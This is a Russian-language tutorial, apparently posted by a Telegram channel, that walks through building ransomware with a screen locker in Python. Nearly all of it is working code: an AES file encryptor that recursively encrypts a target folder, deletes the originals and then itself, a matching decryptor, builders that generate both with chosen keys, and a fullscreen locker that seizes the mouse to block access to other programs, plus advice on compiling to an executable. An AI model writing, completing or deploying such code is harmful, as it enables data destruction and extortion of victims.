Пишем локера-шифровальщика на Python [BlackCoding]
https://t.me/darkside_team
Алоха, вообщем сегодня я расскажу и покажу как написать небольшого шифровальщика-локера на языке программирования Python. Так же напишем билдер под него.
По традиции скачиваем питон с официального сайта ТЫК
Наш шифровальщик будет шифровать по стандартному алгоритму AES (с отдельным ключом естесна)
Вообще можно наляпать туда множество плюшек типа, обфускации, шифрования данных по трем алгоритмам, запуск онли на юса машинах и так далее ( да перечитал описание к Tron'у), но я покажу лишь принцип работы и его чистый код.
Поехали!
ПИШЕМ ШИФРОВАЛЬЩИК
Начнем с того что у любого шифровальщика должно быть два файла это файл который шифрует данные и файл который их дешифрует.
Начнем с файла шифровальщика
Сначала импортим модули отвечающие за шифрование и действия в системе
Код:
import pyAesCrypt import os, sys
Далее создаем функцию которая шифрует данные
Код:
def crypt(file): print("---------------------------------------------------------------" ) password="hello" bufferSize = 512*1024 pyAesCrypt.encryptFile(str(file), str(file)+".crp", password, bufferSize) print("[crypted] '"+str(file)+".crp'") os.remove(file)
Не обращайте внимания на функции print они сделаны для украшения окна билдера.
Функция password это и есть наш ключ шифрования (сюда можно вставить любой пасс он и будет являться ключом).
Далее создаем функцию которая лазит по директориям
Код:
def walk(dir): for name in os.listdir(dir): path = os.path.join(dir,name) if os.path.isfile(path): crypt(path) else: walk(path) walk("C:\Users\User\Desktop\папка") print("---------------------------------------------------------------" ) os.remove(str(sys.argv[0]))
Эта функция лазит по директориям и чекает файлы, если это отдельный файл то она его шифрует если это папка то переходит в нее и шифрует все там.
Здесь
важно указывать именно директорию которую нужно зашифровать а не отдельный файл иначе программа крашнется
В конце удаение файла чтобы из него нельзя было достать ключ.
Все наш шифровальщик готов, теперь нужно сделать дешифратор.
Код:
import os, sys def decrypt(file): import pyAesCrypt print("---------------------------------------------------------------" ) password="hello" bufferSize = 512*1024 pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, bufferSize) print("[decrypted] '"+str(os.path.splitext(file)[0])+"'") os.remove(file) def walk(dir): for name in os.listdir(dir): path = os.path.join(dir, name) if os.path.isfile(path): try: decrypt(path) except: pass else: walk(path) walk("C:\Users\User\Desktop\папка") print("---------------------------------------------------------------" ) os.remove(str(sys.argv[0]))
Так же создается две функции которая дешифрует и чекает директории
ПИШЕМ БИЛДЕР ДЛЯ ШИФРОВАЛЬЩИКА
direct=input("Write the root directory: ") password=input("Write the password: ") print("---------------------------------------------------------------" ) with open("crypt.py","w") as crypt: crypt.write(''' import os, sys def crypt(file): import pyAesCrypt print("---------------------------------------------------------------" ) password="'''+str(password)+'''" bufferSize = 512*1024 pyAesCrypt.encryptFile(str(file), str(file)+".crp", password, bufferSize) print("[crypted] '"+str(file)+".crp'") os.remove(file) def walk(dir): for name in os.listdir(dir): path = os.path.join(dir, name) if os.path.isfile(path): crypt(path) else: walk(path) walk("'''+str(direct)+'''") print("---------------------------------------------------------------" ) os.remove(str(sys.argv[0]))''') print("[+] File 'crypt.py' successfully saved!") with open("key.py","w") as key: key.write(''' import os, sys def decrypt(file): import pyAesCrypt print("---------------------------------------------------------------" ) password="'''+str(password)+'''" bufferSize = 512*1024 pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, bufferSize) print("[decrypted] '"+str(os.path.splitext(file)[0])+"'") os.remove(file) def walk(dir): for name in os.listdir(dir): path = os.path.join(dir, name) if os.path.isfile(path): try: decrypt(path) except: pass else: walk(path) walk("'''+str(direct)+'''") print("---------------------------------------------------------------" ) os.remove(str(sys.argv[0]))''') print("[+] File 'key.py' successfully saved!") print("---------------------------------------------------------------" )
При запуске билдер запускается командная строка и вы вводите параметры которые учитываются при билде файлов( генерируется 2 файла, шифровальщик и ключ)
Оба файла сохраняются в директорию с билдером.
ПИШЕМ ЛОКЕР
from tkinter import Tk,Entry,label from pyautogui import click, moveTo from time import sleep
Импортим модули из библиотек, первый модуль нужен для создания экрана, второй для затруднения доступа к другим файлам типа cmd, диспетчер задач и т.п и так же он будет все время кликать в центр, последняя нужна для того чтобы pyautogui начал свои действия не сразу.
Далее создаем функции
def callback(event): global k,entry if entry.get()=="Lockerrr": k=True #пароль который человек должен ввести чтобы разблокировать систему def on_closing(): click(675, 420) #координаты кликанья мышки moveTo(675, 420) #координаты сдвига мышки root.attributes("-fullscreen",True) #создаем экран во весь монитор т.е без полей root.protocol("WM_DELETE_WINDOW", on_closing) #закрытие посторонних окон root.update() root.bind('<Control-KeyPress-c>', callback) #какие клавиши нужно нажать когда введешь пароль root=Tk() # Создание окна root.title("Locker") # Заголовочное название root.attributes("-fullscreen",True) # Расширение под экран entry=Entry(root,font=1) # Поле ввода entry.place(width=150,height=50,x=600,y=400) # Координаты и размеры label0=Label(root,text="Locker_by_CypherZ",font=1) # Надпись 1 label0.grid(row=0,column=0) # Координаты надписи 1(по колонкам как в exel) label1=Label(root,text="Write the Password and Press Ctrl+C",font='Arial 20') # Надпись 2 label1.place(x=470,y=300) # Координаты надписи 2 root.update(); sleep(0.2); click(675, 420) # Обновление экрана программы k=False while k!=True: on_closing()
окно локера:
Вот и все наш карманный локер готов, теперь нам надо совместить локер и шифровалльщик.
Наша программа будет действовать по очередности то есть сначала запустится локер а под ним будет работать шифровальщик.
(это уже билдер т.к отдельно писать локер-шифровальщик а потом добавить в него пару строк кода чтобы превратить его в билдер - бессмысленно, только лишний текст)
direct=input("Write the root directory for crypt: ") #пишем директорию для шифрования password=input("Write the password for crypter: ") #пишем пароль для шифровальщика pasw=input("Write the password for locker: ") #пишем пароль для локера with open("cryptlocker.py","w") as crypt: crypt.write(''' import os, sys, pyAesCrypt from threading import * from pyautogui import click, moveTo from tkinter import Tk,Entry,Label from time import sleep def locker(): def callback(event): global k,entry if entry.get()=="'''+str(pasw)+'''": k=True def block(void): click(675, 420) moveTo(675, 420) root.attributes("-fullscreen",True) root.protocol("WM_DELETE_WINDOW", block) root.update() root.bind('<Control-KeyPress-c>', callback) global k,entry root = Tk() root.title("Locker") root.attributes("-fullscreen",True) entry = Entry(root,font=1) label0=Label(root,text="Locker_by_#571",font=1) label0.grid(row=0,column=0) label1=Label(root,text="Write the Password and Press Ctrl+C",font='Arial 20') label1.place(x=470,y=300) entry.place(width=150,height=50,x=600,y=400) root.update(); sleep(0.2) click(675, 420) k=False while k!=True: block(None) def crypter(): def crypt(file): password="'''+str(password)+'''" bufferSize = 512*1024 pyAesCrypt.encryptFile(str(file), str(file)+".crp", password, bufferSize) print("[crypted] '"+str(file)+".crp'") os.remove(file) def walk(dir): for name in os.listdir(dir): path = os.path.join(dir, name) if os.path.isfile(path): crypt(path) else: walk(path) walk("'''+str(direct)+'''") os.remove(str(sys.argv[0])) thread_1 = Thread(target=locker) #Эти функции говорят чтобы сначала запускался локер а потом шифровальщик thread_2 = Thread(target=crypter) # thread_1.start(); thread_2.start() # thread_1.join(); thread_2.join() # ''') print("[+] File 'cryptlocker.py' successfully saved!") with open("key.py","w") as key: key.write(''' import os, sys def decrypt(file): import pyAesCrypt password="'''+str(password)+'''" bufferSize = 512*1024 pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, bufferSize) print("[decrypted] '"+str(os.path.splitext(file)[0])+"'") os.remove(file) def walk(dir): for name in os.listdir(dir): path = os.path.join(dir, name) if os.path.isfile(path): try: decrypt(path) except: pass else: walk(path) walk("'''+str(direct)+'''") os.remove(str(sys.argv[0])) ''') print("[+] File 'key.py' successfully saved!")
В конце концов создается два файла criptlocker.py и key.py оба удаляются после первого использования
КОМПИЛЯЦИЯ
Компилить можно через pyinstaller, py2exe, cxFreeze. Самый удобный по моему это pyinstaller, будем компилить через него. Как это сделать рассказано в предыдущих статьях.
Dark $ide - Твоя Тёмная Сторона
Если хочешь предложить свой контент пиши в бота: @ds_offer_robot